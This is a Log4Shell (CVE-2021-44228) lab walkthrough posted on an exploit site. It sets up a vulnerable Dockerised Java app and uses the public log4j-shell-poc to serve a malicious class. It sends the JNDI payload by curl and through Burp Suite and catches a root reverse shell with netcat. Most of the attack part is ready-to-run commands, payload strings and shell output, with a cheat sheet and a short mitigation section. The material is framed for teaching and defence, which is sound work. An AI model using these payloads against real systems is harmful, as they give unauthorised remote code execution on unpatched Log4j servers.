## https://sploitus.com/exploit?id=15DD012D-6F80-556B-9948-D11948520508
# Exploiting Log4Shell (CVE-2021-44228): A Complete, Modern Demonstration Lab
Log4Shell (CVE-2021-44228) is one of the most impactful remote code execution vulnerabilities ever disclosed. It affects **Apache Log4j 2**, a widely used Java logging framework, and allows attackers to execute arbitrary code by abusing **JNDI lookups** in log messages.
This guide provides a full, reproducible demonstration lab using:
* **Kali Linux** (attacker)
* A **Dockerised** vulnerable Log4j2 application
* The public PoC `log4j-shell-poc`
* **curl**, **Burp Suite**, and **Netcat**
It is designed for teaching, research, training, and defensive awareness in controlled environments only.
The structure and style follow the same spirit as the companion “Shellshock” lab README.
---
## 📌 Table of Contents
0. [Legal & Ethical Notice](#0-legal--ethical-notice)
1. [High-Level Overview](#1-high-level-overview)
2. [Learning Objectives](#2-learning-objectives)
3. [Lab Architecture](#3-lab-architecture)
4. [Prerequisites](#4-prerequisites)
5. [Install JDK 1.8.0_202 on Kali](#5-install-jdk-180_202-on-kali-mandatory)
6. [Deploy the Vulnerable Log4j Application (Docker)](#6-deploy-the-vulnerable-log4j-application-docker-on-kali)
7. [Prepare the Exploit PoC](#7-prepare-the-exploit-poc-on-kali)
8. [Configure `poc.py` to Use JDK 1.8.0_202](#8-configure-pocpy-to-use-jdk-180_202)
9. [Start Exploit Services (LDAP + HTTP + Payload)](#9-start-the-exploit-services-ldap--http--payload-generator)
10. [Start the Reverse Shell Listener](#10-start-the-reverse-shell-listener-netcat)
11. [Exploit Log4Shell via `curl`](#11-exploit-log4shell-via-curl)
12. [Exploit Log4Shell via Burp Suite](#12-exploit-log4shell-via-burp-suite-browser-style)
13. [Attack Chain Diagram](#13-how-the-exploit-chain-works-technical-summary)
14. [Countermeasures & Defence](#14-mitigation-and-defence)
15. [Cheat Sheet (All Commands)](#15-command-cheat-sheet)
16. [Screenshot Gallery (Optional)](#16-screenshot-gallery-optional)
17. [References](#17-references)
18. [Credits](#18-credits)
---
## 0. Legal & Ethical Notice
This lab **must only** be performed in a controlled environment where you have explicit authorisation (your own lab, classroom VMs, etc.).
* Do **not** attack production systems.
* Do **not** run this against hosts you do not own or administer.
* Use this material solely for **education, research, and defence**.
---
## 1. High-Level Overview
**Log4Shell** (CVE-2021-44228) is a critical RCE vulnerability in **Apache Log4j 2**.
The problem arises because vulnerable Log4j2 versions interpret attacker-controlled strings such as:
```text
${jndi:ldap://ATTACKER_IP:1389/a}
```
When this string is logged, Log4j:
1. Performs a **JNDI** lookup (e.g. via LDAP) to an attacker-controlled server.
2. Receives a reference to a **malicious Java class**.
3. Downloads the class over HTTP and loads it into the JVM.
4. Executes it, yielding **remote code execution**.
In this lab, you will:
* Run a vulnerable Log4j2 web application inside a Docker container.
* Run a malicious LDAP + HTTP server on Kali using `log4j-shell-poc`.
* Deliver the Log4Shell payload via `curl` and via **Burp Suite**.
* Capture a **reverse shell** from the vulnerable container.
---
## 2. Learning Objectives
By the end of this lab, you should be able to:
1. Explain at a high level how Log4Shell works and why JNDI is dangerous when misused.
2. Deploy a vulnerable Log4j2 application using Docker.
3. Install and configure **JDK 1.8.0_202**, required by the PoC.
4. Run a malicious LDAP server and HTTP server via the PoC script.
5. Trigger the vulnerability and obtain a reverse shell.
6. Use Burp Suite to inject the exploit into an HTTP header.
7. Discuss realistic mitigations and detection strategies.
---
## 3. Lab Architecture
All components run on top of your existing virtual lab. For this write-up we assume:
* **Kali Linux VM** is the attacker.
* Kali also runs the Docker container containing the vulnerable app.
| **Component** | **Role / Description** | **Tools / Services** | **Example Addressing** |
| ------------------------------------- | ----------------------------------------------------------------------- | -------------------------------------------------------------------- | ---------------------------------- |
| **Kali Linux VM (Attacker + Host)** | Runs PoC exploit, LDAP server, HTTP server, Netcat listener, Burp Suite | Python 3, **JDK 1.8.0_202**, Netcat, Burp Suite, Docker, `curl`, Git | `192.168.1.4` (example Kali IP) |
| **Vulnerable Log4j2 web application** | Target; Spring Boot web app vulnerable to Log4Shell | Docker image: `ghcr.io/christophetd/log4shell-vulnerable-app` | Exposed at `http://127.0.0.1:8080` |
**Key idea**
The attacker injects:
```text
${jndi:ldap://192.168.1.4:1389/a}
```
into an HTTP header. The vulnerable app logs it using Log4j2 → performs a JNDI LDAP lookup to `192.168.1.4:1389` → downloads a malicious class from `http://192.168.1.4:8000` → executes the class, which opens a reverse shell back to `192.168.1.4:9001`.
---
## 4. Prerequisites
On **Kali** you need:
* Docker (installed and working).
* Python 3 (default on Kali).
* Netcat (`nc`).
* Burp Suite (Community Edition is fine).
* Internet access for initial downloads.
* Basic familiarity with Linux and HTTP.
Throughout this guide we assume the Kali IP is:
```text
192.168.1.4
```
If your IP differs, **adjust all commands** accordingly.
---
## 5. Install JDK 1.8.0_202 on Kali (Mandatory)
The PoC relies on **Java SE 8 Update 202 (JDK 1.8.0_202)** because later Java versions restrict the remote class loading behaviour used by this exploit.
Even if Kali already has OpenJDK 21 (or similar), you still need to install **8u202** separately.
### 5.1 Create a working directory
```bash
mkdir -p ~/Log4Shell
cd ~/Log4Shell
```
### 5.2 Download JDK 8u202 from HuaweiCloud mirror
Mirror root:
```text
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
```
Download the Linux x64 tarball (≈185 MB):
```bash
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # should be ~185M
```
### 5.3 Extract to `/usr/bin/jdk1.8.0_202`
```bash
sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
```
The `--strip-components=1` option removes the top-level directory from the archive so files land directly under `/usr/bin/jdk1.8.0_202`.
### 5.4 Verify the installation
```bash
/usr/bin/jdk1.8.0_202/bin/java -version
```
Expected output:
```text
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
```
If you see this, **JDK 1.8.0_202 is correctly installed**.
---
## 6. Deploy the Vulnerable Log4j Application (Docker on Kali)
In a **new terminal** on Kali (you can remain in `~/Log4Shell`):
```bash
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
```
You should see logs similar to:
```text
:: Spring Boot :: (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
```
* The app is now reachable at `http://127.0.0.1:8080/` from Kali.
* **Leave this terminal running.** This is your target.
Quick sanity-check:
```bash
curl http://127.0.0.1:8080/
```
You may see a **Whitelabel Error Page** (HTTP 400). That is fine – all we need is the app running and logging requests.
---
## 7. Prepare the Exploit PoC on Kali
### 7.1 Clone `log4j-shell-poc`
In a **new terminal**:
```bash
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
```
Confirm files:
```bash
ls
# poc.py, target/, README, etc. Exploit.java will be generated later.
```
---
## 8. Configure `poc.py` to Use JDK 1.8.0_202
By default, `poc.py` expects to find a local JDK in a directory named `jdk1.8.0_20` inside the repo. Instead, you installed JDK 8u202 in `/usr/bin/jdk1.8.0_202`, so you must update the script.
### 8.1 Open `poc.py` in an editor
```bash
nano poc.py
```
### 8.2 Identify the original Java path lines
Search for `jdk1.8.0_20` (in nano: `Ctrl+W`, type `jdk1.8.0_20`, press Enter).
You should find three occurrences such as:
```python
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
```
### 8.3 Replace with absolute paths to JDK 8u202
Replace them with:
```python
subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])
exit_code = subprocess.call([
"/usr/bin/jdk1.8.0_202/bin/java",
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
"/usr/bin/jdk1.8.0_202/bin/java",
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
```
Save and exit:
* `Ctrl + O` → Enter
* `Ctrl + X`
The PoC now uses **JDK 1.8.0_202** from `/usr/bin`.
---
## 9. Start the Exploit Services (LDAP + HTTP + Payload Generator)
From `~/Log4Shell/log4j-shell-poc`:
### 9.1 Run the PoC script
```bash
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
```
Parameters:
* `--userip` – your Kali IP (attacker): e.g. `192.168.1.4`.
* `--webport` – port for the embedded HTTP server: `8000`.
* `--lport` – port the payload connects back to: `9001`.
If everything is configured correctly, you should see something like:
```text
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
```
Important:
* **LDAP server** is listening on port **1389**.
* **HTTP server** is listening on port **8000**.
* The **exact payload** to inject is printed:
```text
${jndi:ldap://192.168.1.4:1389/a}
```
Leave this terminal running.
---
## 10. Start the Reverse Shell Listener (Netcat)
Open **another new terminal** on Kali:
```bash
nc -nvlp 9001
```
You should see:
```text
listening on [any] 9001 ...
```
This listener will receive the reverse shell from the vulnerable application.
At this point you should have:
1. Docker container running the vulnerable app (port **8080**).
2. `poc.py` running LDAP (**1389**) and HTTP (**8000**).
3. Netcat listening on **9001**.
---
## 11. Exploit Log4Shell via `curl`
First, prove the exploit works using a raw HTTP request.
In a **new terminal** (or reuse one if available):
```bash
curl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
```
What happens:
1. The vulnerable app receives the request and logs the `X-Api-Version` header.
2. Log4j2 sees `${jndi:ldap://192.168.1.4:1389/a}` and performs a JNDI LDAP lookup.
3. Your LDAP server (within `poc.py`) responds with a reference to a malicious Java class hosted on your HTTP server.
4. The app downloads and executes the class.
5. The class connects back to `192.168.1.4:9001` and spawns a shell.
If successful, your Netcat terminal shows:
```text
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...
```
You now have a **root shell inside the Docker container**.
Try:
```bash
id
hostname
ls /
```
Exit with:
```bash
exit
```
Netcat will return to listening.
---
## 12. Exploit Log4Shell via Burp Suite (Browser-style)
Now demonstrate the same exploit path using a browser mediated by **Burp Suite**.
### 12.1 Configure Firefox to use Burp as a proxy
1. Start **Burp Suite** on Kali.
2. In Burp, ensure the Proxy listener is running on `127.0.0.1:8080`.
3. In Firefox:
* Settings → **Network Settings** → **Manual proxy configuration**.
* HTTP Proxy: `127.0.0.1`, Port: `8080`.
* Tick **“Use this proxy for HTTPS as well”**.
* Ensure no exclusions for `127.0.0.1`.
### 12.2 Capture an initial request
1. In Burp → **Proxy → Intercept**, ensure **Intercept is ON**.
2. In Firefox, browse to:
```text
http://127.0.0.1:8080/
```
3. Burp will show the intercepted request, e.g.:
```http
GET / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 ...
...
```
### 12.3 Send the request to Repeater
1. In the Proxy → Intercept tab, right-click the request.
2. Select **Send to Repeater**.
3. Switch to the **Repeater** tab.
### 12.4 Inject the Log4Shell payload into an HTTP header
In Repeater, modify the request to include an `X-Api-Version` header:
```http
GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```
Notes:
* Replace `192.168.1.4` with your **actual** Kali IP if different.
* Do **not** URL-encode the `${}` characters – they must appear exactly as shown.
* `Connection: close` keeps things simple (optional).
### 12.5 Send the malicious request
1. Confirm `poc.py` and the Netcat listener are still running.
2. Click **Send** in Burp Repeater.
You may again see a `400` Whitelabel Error Page – that is fine.
Check your Netcat terminal:
```text
listening on [any] 9001 ...
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root), ...
```
You have once again obtained a **root shell** on the container, this time using a **Burp-modified HTTP request**, which mirrors a realistic web exploitation workflow.
---
## 13. How the Exploit Chain Works (Technical Summary)
1. Attacker crafts the JNDI payload:
```text
${jndi:ldap://192.168.1.4:1389/a}
```
2. Vulnerable application logs this string using Log4j2.
3. Log4j2 interprets `${jndi:...}` and performs a **JNDI lookup**.
4. The lookup uses **LDAP** to contact the attacker’s LDAP server at `192.168.1.4:1389`.
5. The LDAP server (marshalsec) replies with a `javaNamingReference` pointing to an attacker-controlled class hosted over HTTP, e.g.:
```text
http://192.168.1.4:8000/Exploit.class
```
6. The victim JVM downloads and loads this class.
7. The class’s constructor opens a socket back to `192.168.1.4:9001` and binds `/bin/sh` to it.
8. The attacker’s Netcat listener receives the incoming connection and gains a remote root shell inside the container.
---
## 14. Mitigation and Defence
In real environments, multiple defensive layers should be applied.
### 14.1 Upgrade Log4j2
* Upgrade to **2.17.1 or later** (or vendor-recommended secure version).
* These versions disable or heavily restrict JNDI lookups by default.
### 14.2 Disable JNDI / message lookups
For still-vulnerable deployments, add:
```text
-Dlog4j2.formatMsgNoLookups=true
```
(Where applicable – note that not all vulnerable configurations are fixed by this flag alone.)
### 14.3 Remove `JndiLookup` from log4j-core JARs
As a defence-in-depth measure:
```bash
zip -q -d log4j-core-*.jar \
org/apache/logging/log4j/core/lookup/JndiLookup.class
```
### 14.4 Harden outbound network access
* Restrict outbound **LDAP**, **RMI**, and arbitrary HTTP from application servers.
* Egress filtering and strict firewall policies can prevent servers from reaching attacker-controlled infrastructure.
### 14.5 Detection & Monitoring
* Search logs for suspicious patterns like `${jndi:` or `${${lower:j}${upper:ndi}:`.
* Monitor for unusual outbound LDAP/RMI connections from servers.
* Deploy IDS/IPS/SIEM rules for Log4Shell indicators and PoC traffic.
---
## 15. Command Cheat-Sheet
A condensed overview of commands used in this lab.
### 15.1 Working directory
```bash
mkdir -p ~/Log4Shell
cd ~/Log4Shell
```
### 15.2 Download JDK 8u202 (≈185 MB)
```bash
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz
```
### 15.3 Install JDK 1.8.0_202
```bash
sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
/usr/bin/jdk1.8.0_202/bin/java -version
```
### 15.4 Run the vulnerable Docker application
```bash
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
```
### 15.5 Clone the PoC repository
```bash
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
```
### 15.6 Update `poc.py` Java paths (summary)
Replace:
```python
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac")
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java") # two uses
```
With:
```python
"/usr/bin/jdk1.8.0_202/bin/javac"
"/usr/bin/jdk1.8.0_202/bin/java"
```
### 15.7 Start PoC (LDAP + HTTP + payload)
```bash
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
```
### 15.8 Netcat reverse shell listener
```bash
nc -nvlp 9001
```
### 15.9 Exploit via `curl`
```bash
curl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
```
### 15.10 Payload string for headers
```text
${jndi:ldap://192.168.1.4:1389/a}
```
### 15.11 Burp Repeater header
```http
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
```
---
## 16. Screenshot Gallery (Optional)
When you collect screenshots, you can refer to them here, for example:
| **Description** | **Image** |
| ------------------------------------------------- | ----------------------------------------- |
| PoC script running (LDAP + HTTP + payload string) | `screenshots/log4shell-poc-running.png` |
| Burp Suite – request with injected JNDI payload | `screenshots/log4shell-burp-request.png` |
| Netcat – reverse shell received from container | `screenshots/log4shell-nc-root-shell.png` |
| Docker logs – JNDI lookup and exploit in action | `screenshots/log4shell-docker-logs.png` |
(Use Markdown image tags in your actual repo.)
---
## 17. References
* Original PoC: [`kozmer/log4j-shell-poc`](https://github.com/kozmer/log4j-shell-poc)
* Vulnerable demo application: [`christophetd/log4shell-vulnerable-app`](https://github.com/christophetd/log4shell-vulnerable-app)
* Apache Log4j Security Vulnerabilities: [https://logging.apache.org/log4j/2.x/security.html](https://logging.apache.org/log4j/2.x/security.html)
* NIST NVD entry for CVE-2021-44228: [https://nvd.nist.gov/vuln/detail/CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)
---
## 18. Credits
**Log4Shell (CVE-2021-44228) Teaching Lab – crafted with care for students, defenders, and ethical hackers worldwide.**
**Made with love by:
Haitham of Oman ❤️🇴🇲**
::contentReference[oaicite:1]{index=1}